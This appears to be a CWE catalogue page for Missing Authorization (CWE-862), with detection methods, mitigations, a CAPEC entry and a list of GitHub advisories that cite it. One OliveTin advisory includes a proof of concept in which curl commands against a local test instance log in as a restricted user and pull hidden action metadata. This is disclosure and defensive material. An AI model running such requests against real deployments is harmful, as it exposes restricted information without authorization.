CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
20074 vulnerabilities reference this CWE, most recent first.
GHSA-JF3Q-9X2Q-R3HJ
Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2024-11-01 15:31Missing Authorization vulnerability in Upqode Plum: Spin Wheel & Email Pop-up allows Accessing Functionality Not Properly Constrained by ACLs, Stored XSS.This issue affects Plum: Spin Wheel & Email Pop-up: from n/a through 2.0.
{
"affected": [],
"aliases": [
"CVE-2024-38744"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:34Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in Upqode Plum: Spin Wheel \u0026 Email Pop-up allows Accessing Functionality Not Properly Constrained by ACLs, Stored XSS.This issue affects Plum: Spin Wheel \u0026 Email Pop-up: from n/a through 2.0.",
"id": "GHSA-jf3q-9x2q-r3hj",
"modified": "2024-11-01T15:31:58Z",
"published": "2024-11-01T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38744"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/qodeblock/wordpress-plum-spin-wheel-email-pop-up-plugin-2-0-broken-access-control-to-unauth-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JF6P-QVQV-F6G9
Vulnerability from github – Published: 2026-07-14 03:31 – Updated: 2026-07-14 03:31SAP S/4HANA Draft operation does not perform necessary authorization checks for an authenticated user, a restricted user could access information within the entity resulting in escalation of privileges. This results in low impact on confidentiality, with no impact on integrity and availability of the application.
{
"affected": [],
"aliases": [
"CVE-2026-44771"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T01:16:18Z",
"severity": "MODERATE"
},
"details": "SAP S/4HANA Draft operation does not perform necessary authorization checks for an authenticated user, a restricted user could access information within the entity resulting in escalation of privileges. This results in low impact on confidentiality, with no impact on integrity and availability of the application.",
"id": "GHSA-jf6p-qvqv-f6g9",
"modified": "2026-07-14T03:31:37Z",
"published": "2026-07-14T03:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44771"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3515598"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF6V-V63C-Q8Q2
Vulnerability from github – Published: 2026-10-28 06:30 – Updated: 2026-10-28 18:31The Booking Package WordPress plugin before 1.7.33 does not restrict who can trigger its booking verification-code emails nor bind the recipient to server-side state, allowing unauthenticated users to make the site send templated verification-code emails to arbitrary recipients.
{
"affected": [],
"aliases": [
"CVE-2026-105997"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-28T06:16:32Z",
"severity": "MODERATE"
},
"details": "The Booking Package WordPress plugin before 1.7.33 does not restrict who can trigger its booking verification-code emails nor bind the recipient to server-side state, allowing unauthenticated users to make the site send templated verification-code emails to arbitrary recipients.",
"id": "GHSA-jf6v-v63c-q8q2",
"modified": "2026-10-28T18:31:55Z",
"published": "2026-10-28T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105997"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/59ceb45f-eb33-4103-bf75-d68b4f16e824"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JF73-858C-54PG
Vulnerability from github – Published: 2026-03-05 21:24 – Updated: 2026-03-06 22:52Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.
Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.
Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.
Relevant source locations:
dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)
Dashboard building logic:
for _, binding := range rr.ex.MapActionBindings {
if binding.Action.Hidden { continue }
action := buildAction(binding, rr) // checks IsAllowedExec only
fieldset.Contents = append(fieldset.Contents, ...)
}
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).
PoC
- Configure OliveTin with a restricted user:
Create config.yaml:
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: admin
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123
permissions:
view: true
exec: true
logs: true
- username: low
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123
permissions:
view: false # Should hide all actions
exec: false
logs: false
actions:
- title: "Secret Action"
id: secret_action
shell: echo "sensitive operation"
icon: "🔒"
description: "This action should be completely hidden"
arguments:
- name: target
title: Target
type: string
default: production
-
Start OliveTin with this configuration
-
Login as low-privilege user and capture session ID:
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"low123"}' \
| awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')
echo "Low user SID: $LOW_SID"
- Verify the web UI respects view:false (optional but illustrative):
Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.
- Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'
Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [
{
"name": "target",
"title": "Target",
"type": "string",
"default": "production"
}
]
}
}
- Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"bindingId":"secret_action"}' | jq '.'
Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [...]
}
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260305082002-d7962710e7c4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30233"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:24:24Z",
"nvd_published_at": "2026-03-06T21:16:17Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.\n\nAlthough execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.\n\n### Details\nOliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.\n\nRelevant source locations:\n\ndashboards.go (around line 120, 132)\napiActions.go (around line 122)\nacl.go (around line 125)\napi.go (around line 430)\n\nDashboard building logic:\n```\nfor _, binding := range rr.ex.MapActionBindings {\n if binding.Action.Hidden { continue }\n action := buildAction(binding, rr) // checks IsAllowedExec only\n fieldset.Contents = append(fieldset.Contents, ...)\n}\n```\nWhy vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).\n\n### PoC\n\n\n\n\n1. Configure OliveTin with a restricted user:\n\nCreate config.yaml:\n\n```yaml\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n enabled: true\n users:\n - username: admin\n password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\" # password: admin123\n permissions:\n view: true\n exec: true\n logs: true\n \n - username: low\n password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\" # password: low123\n permissions:\n view: false # Should hide all actions\n exec: false\n logs: false\n\nactions:\n - title: \"Secret Action\"\n id: secret_action\n shell: echo \"sensitive operation\"\n icon: \"\ud83d\udd12\"\n description: \"This action should be completely hidden\"\n arguments:\n - name: target\n title: Target\n type: string\n default: production\n```\n2. Start OliveTin with this configuration\n\n3. Login as low-privilege user and capture session ID:\n\n```bash\n# Login as low user\nLOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"low\",\"password\":\"low123\"}\u0027 \\\n | awk -F\u0027[=;]\u0027 \u0027/^Set-Cookie: olivetin-sid-local=/{print $2; exit}\u0027 | tr -d \u0027 \u0027)\n\necho \"Low user SID: $LOW_SID\"\n```\n4. Verify the web UI respects view:false (optional but illustrative):\n\nOpen http://localhost:1337 in a browser logged in as low user - the \"Secret Action\" should NOT appear in the UI.\n\n5. Test 1: GetDashboard endpoint leaks action metadata:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n -d \u0027{\"title\":\"Actions\"}\u0027 | jq \u0027.fieldsets[0].contents[] | select(.action.bindingId==\"secret_action\")\u0027\n```\nExpected behavior (if fixed): Empty result or no matching action\nObserved behavior (vulnerable):\n\n```json\n{\n \"action\": {\n \"bindingId\": \"secret_action\",\n \"title\": \"Secret Action\",\n \"icon\": \"\ud83d\udd12\",\n \"description\": \"This action should be completely hidden\",\n \"canExec\": false,\n \"arguments\": [\n {\n \"name\": \"target\",\n \"title\": \"Target\",\n \"type\": \"string\",\n \"default\": \"production\"\n }\n ]\n }\n}\n```\n6. Test 2: GetActionBinding endpoint directly exposes action details:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetActionBinding \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n -d \u0027{\"bindingId\":\"secret_action\"}\u0027 | jq \u0027.\u0027\n```\nExpected behavior (if fixed): HTTP 403 Permission Denied\nObserved behavior (vulnerable):\n\n```json\n{\n \"action\": {\n \"bindingId\": \"secret_action\",\n \"title\": \"Secret Action\",\n \"icon\": \"\ud83d\udd12\",\n \"description\": \"This action should be completely hidden\",\n \"canExec\": false,\n \"arguments\": [...]\n }\n}\n```",
"id": "GHSA-jf73-858c-54pg",
"modified": "2026-03-06T22:52:34Z",
"published": "2026-03-05T21:24:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30233"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OliveTin doesn\u0027t check view permission when returning dashboards"
}
GHSA-JF7M-8F85-9C35
Vulnerability from github – Published: 2023-12-29 09:30 – Updated: 2026-04-28 21:33Missing Authorization vulnerability in Anders Thorborg.This issue affects Anders Thorborg: from n/a through 1.4.12.
{
"affected": [],
"aliases": [
"CVE-2023-22676"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-29T09:15:08Z",
"severity": "LOW"
},
"details": "Missing Authorization vulnerability in Anders Thorborg.This issue affects Anders Thorborg: from n/a through 1.4.12.",
"id": "GHSA-jf7m-8f85-9c35",
"modified": "2026-04-28T21:33:37Z",
"published": "2023-12-29T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22676"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/acf-image-crop-add-on/wordpress-advanced-custom-fields-image-crop-add-on-plugin-1-4-12-broken-access-control?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF7R-W4RC-FQXP
Vulnerability from github – Published: 2026-10-14 09:31 – Updated: 2026-10-15 12:30The Robokassa payment gateway for Woocommerce WordPress plugin before 1.9.0 does not verify the authenticity of an incoming payment-notification request before acting on the order named in it, allowing unauthenticated attackers to force any WooCommerce order into a failed state. Order identifiers are sequential, so every order in the shop can be taken out of the fulfilment queue one request at a time.
{
"affected": [],
"aliases": [
"CVE-2026-91076"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-14T07:17:04Z",
"severity": "MODERATE"
},
"details": "The Robokassa payment gateway for Woocommerce WordPress plugin before 1.9.0 does not verify the authenticity of an incoming payment-notification request before acting on the order named in it, allowing unauthenticated attackers to force any WooCommerce order into a failed state. Order identifiers are sequential, so every order in the shop can be taken out of the fulfilment queue one request at a time.",
"id": "GHSA-jf7r-w4rc-fqxp",
"modified": "2026-10-15T12:30:56Z",
"published": "2026-10-14T09:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91076"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/9ba439de-33e3-4d79-b54a-8bf098e89f5f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF8C-GGFW-P2RG
Vulnerability from github – Published: 2026-10-08 15:32 – Updated: 2026-10-08 15:32Missing Authorization vulnerability in YITH YITH WooCommerce Product Bundles yith-woocommerce-product-bundles allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects YITH WooCommerce Product Bundles: from n/a through 2.29.0.
{
"affected": [],
"aliases": [
"CVE-2026-105878"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-08T13:17:13Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in YITH YITH WooCommerce Product Bundles yith-woocommerce-product-bundles allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects YITH WooCommerce Product Bundles: from n/a through 2.29.0.",
"id": "GHSA-jf8c-ggfw-p2rg",
"modified": "2026-10-08T15:32:57Z",
"published": "2026-10-08T15:32:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105878"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/yith-woocommerce-product-bundles/vulnerability/wordpress-yith-woocommerce-product-bundles-plugin-2-29-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF8P-FM3Q-8J9J
Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35Missing Authorization vulnerability in Sovlix MeetingHub meetinghub allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MeetingHub: from n/a through <= 1.25.10.
{
"affected": [],
"aliases": [
"CVE-2026-57781"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T10:16:42Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Sovlix MeetingHub meetinghub allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MeetingHub: from n/a through \u003c= 1.25.10.",
"id": "GHSA-jf8p-fm3q-8j9j",
"modified": "2026-07-13T12:35:04Z",
"published": "2026-07-13T12:35:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57781"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/meetinghub/vulnerability/wordpress-meetinghub-plugin-1-25-10-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF92-H2XH-6JWR
Vulnerability from github – Published: 2025-09-26 09:31 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in wpshuffle WP Subscription Forms PRO allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Subscription Forms PRO: from n/a through 2.0.5.
{
"affected": [],
"aliases": [
"CVE-2025-60166"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-26T09:15:46Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in wpshuffle WP Subscription Forms PRO allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Subscription Forms PRO: from n/a through 2.0.5.",
"id": "GHSA-jf92-h2xh-6jwr",
"modified": "2026-04-01T18:36:22Z",
"published": "2025-09-26T09:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60166"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-subscription-forms-pro/vulnerability/wordpress-wp-subscription-forms-pro-plugin-2-0-5-arbitrary-content-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF94-Q4Q8-6JGG
Vulnerability from github – Published: 2024-06-09 21:30 – Updated: 2024-06-09 21:30Missing Authorization vulnerability in WPDeveloper EmbedPress.This issue affects EmbedPress: from n/a through 3.9.8.
{
"affected": [],
"aliases": [
"CVE-2024-31284"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T19:15:50Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WPDeveloper EmbedPress.This issue affects EmbedPress: from n/a through 3.9.8.",
"id": "GHSA-jf94-q4q8-6jgg",
"modified": "2024-06-09T21:30:33Z",
"published": "2024-06-09T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31284"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/embedpress/wordpress-embedpress-plugin-3-9-8-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.